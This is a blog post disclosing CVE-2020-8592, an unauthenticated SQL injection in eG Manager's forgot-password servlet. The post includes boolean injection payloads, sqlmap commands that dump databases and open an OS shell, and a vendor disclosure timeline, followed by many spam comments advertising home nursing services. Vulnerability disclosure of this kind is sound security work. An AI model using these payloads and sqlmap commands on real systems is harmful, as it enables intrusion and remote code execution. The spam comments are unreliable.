SQL Injection lead to Remote Code Execution (CVE-2020-8592)
In this blog post I will show how to exploit a SQL injection vulnerability in the popular java-based MaaS software "eG Manager" and how I can escalated it to execute code remotely.
Impact
The SQL injection vulnerability can be exploited as an unauthenticated attacker via forgot password function. An attacker is able to execute stacked SQL queries which means it is possible to manipulate arbitrary database entries and even execute shell commands.
Technical Analysis
eG Manager has a forgot password feature and then there was missing input validation function, e.g. If the Username specified is valid, then the password will be emailed to the user with the given Username. If not so, server shows 'username does not exist'. An attacker can exploit this feature by injecting stacked queries SQL syntax.
Exploiting SQL Injection to Remote Code Execution
In "Forgot Password" area, there is an input box to confirm user identity. If an administrator forgets the login Password, he/she can click on the Forgot Password link. Doing so invokes wherein the administrator would have to provide the Username for which the password details are required, and then click the Get password button to retrieve the password.
So if user identify his/her username in forgot password area, "eG Manager" search username in database. if username exists, email will be send to valid mail that is assigned in database. I tested with Boolean based SQL queries
Request: user=admin' and 1=1--+-
Response: "You will receive your password by mail"
Request: admin' and 1=2--+-
Response: Username does not exist
The server responded after 6 seconds delay.
For more exploitation steps, I've used Sqlmap. I've used following command to extract database.
/usr/bin/sqlmap -u "https://targetIP:7077/final/servlet/com.eg.LoginHelperServlet" --data="user=aa*" --dbms=mssql --technique=S --prefix="'" --suffix="--" --dbs -v 3
After sqlmap is executed, I've got all databases list . I can also be extracted all table, columns and etc...
Since, it was vulnerable for Stacked queries SQL injection, it is possible to get the target system.I can be used following SQLMAP command to get OS shell.
/usr/bin/sqlmap -u "https://targetIP:7077/final/servlet/com.eg.LoginHelperServlet" --data="user=aa*" --dbms=mssql --technique=S --prefix="'" --suffix="--" --os-shell -v 3
Time Line
Date What
2020/01/23 Vulnerability reported to eG Innovations, Inc.
2020/01/28 Vendor addressed issue in 7.1.2
2020/01/29 Vendor fixed and notify their customers.
Summary
In this post I analyzed a stacked queries SQL injection vulnerability in "eG Manager v7.1.2" which can be triggered through a JSP file. An attacker needs to know users' name and then can inject arbitrary SQL commands. I found that it is possible to leverage the issue into Remote Code Execution if the "eG Manager" enabled the xp_cmdshell option. However, if other databases are used Remote Code Execution might be still possible. I would like to thank the "eG Innovations, Inc" security team for the professional communication and for the very fast resolution of the issue.
ReplyDeleteNice and well explained blog click here for Nursing care services in gurgaon
Nursing care services at home
Nursing care services in Delhi
for more details dial on 9319280864
Stunning Blog Click Here For
ReplyDeletePhysiotheropy services at home
physiotherapy services in gurgaon
physiotherapy services in Delhi
best physiotherapist in gurgaon
best physiotherapist in Delhi
for more details dial on 9319280864
Amazing And Readable Blog Click Here For Information
ReplyDeleteNursing care services in gurgaon
Nursing care services at home
Nursing care services in Delhi
Best nursing care services
for more details dial on 9319280864
Interesting Blog and nice contant click here for more information Patient care services at home Patient care taker in gurgaon Patient care taker services in gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/patient-care-taker-services.html
ReplyDeleteIntersting Blog and nice contant click here for more information Patient care taker in gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/patient-care-taker-services.html
ReplyDeleteIntersting Blog and nice contant click here for more information
ReplyDeleteAttendant services in Gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/attendant-services.html
Intersting Blog and nice contant click here for more information
ReplyDeleteCritical care services in gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/critical-care-services.html
Intersting Blog and nice contant click here for more information
ReplyDeleteNurse bureaus services in Gurgaon For more details contant us:- +91-9599450350 visit:- http://allindiapatientcare.in/nurse-bureaus.html
Stunning and Readable Blog.. More Information Call Now: +91-9319280864 Please Visit: Nursing care Services in Delhi Nursing care Services in Delhi conviction that consumer loyalty is as significant as their items and administrations, have helped this foundation earn an immense base of clients, which keeps on developing constantly. Nursing care Services in Delhibusiness utilizes people that are devoted towards their individual jobs and put in a great deal of exertion to accomplish the normal vision and bigger objectives of the organization. Soon, Nursing care Services in Delhibusiness expects to extend its line of items and administrations and oblige a bigger customer base.
ReplyDeletePerfect & Interesting Blog Physiotherapy services in Delhi Physiotherapy is a recuperating technique concentrated on versatility. Physiotherapists assist patients with recapturing portability, beyond what many would consider possible. Physiotherapy services in Delhi evaluate, analyze and treat incapacities. From back agony, neck torment, knee torment, and tendon issues to Parkinson's, Paralysis, Cerebral Palsy, and that's just the beginning. More Information Call Now: +91-9319280864 Please Visit: Physiotherapy services in Delhi
ReplyDeleteAmazing Content Nursing care services in Delhi Healing in the comfort of one's own home with the complete care and attention of loved ones is something that all of us look forward to. But continuing a treatment from home may necessitate frequent hospital visits, especially for daily medications and procedures. Nursing care services in Delhi means, a lot of travelling, traffic struggles and long waiting lines. At Nightingales, we bring you experienced and state certified nurses who visit your home for all procedures such as injections, infusions, wound dressing, catheterization, vital checks, vaccinations, etc. ensuring a highest quality of treatment at home. More Information Call Now: +91-9319280864 Please Visit: Nursing care services in Delhi
ReplyDeleteMedical Equipment services in Delhi render this service as per the details provided by our honored consumers. Home medical equipment is a category of devices used for patients whose care is being managed from a home or other private facility managed by a nonprofessional caregiver or family member. Pari Nursing Bureau offers a wide range of Medical Equipment services in Delhi
ReplyDeletePathology Laboratory services in Delhi is a most important tool in the diagnosis of many disorders. Pathology Laboratory services in Delhi
ReplyDeleteAttendent services in Delhi attendant at home is quite an affordable option and we assist our patients in their daily needs and requirement in the comfort of their own home. Attendent services in Delhi
ReplyDeleteNurse Bureaus in Sahibabad More Information Call Now: +91-845-911-1920
ReplyDeletePhysiotherapists in Sahibabad can help people at any stage of life when movement and function are threatened by aging, injury, diseases, disorders, conditions or environmental factors. Physical therapists help people maximize their quality of life, looking at physical, psychological, emotional and social wellbeing.More Information Call Now: +91-845-911-1920
ReplyDeleteNurse Bureaus in Sahibabad provide a wide range of nursing and care services to our clients.Nursing is a skill which includes ministration to the sick, care of the whole patient, care of the patients’ environment, health education and health service to the individual, family and society for the prevention of disease, maintenance of physical well being and promotion of health. Basic nursing care is the unique function of the nurse. . More Information Call Now: +91-845-911-1920
ReplyDeleteMedical equipment dealers in Ghaziabad Star Nursing Health Care Services Regd offers a wide range of medical equipment for rent or purchase making healthcare more accessible and affordable for you. More Information Call Now: +91-845-911-1920
ReplyDeleteSurgical equipment dealers in ghaziabad More Information Call Now: +91-845-911-1920
ReplyDeleteThis comment has been removed by the author.
ReplyDeleteThis comment has been removed by the author.
ReplyDelete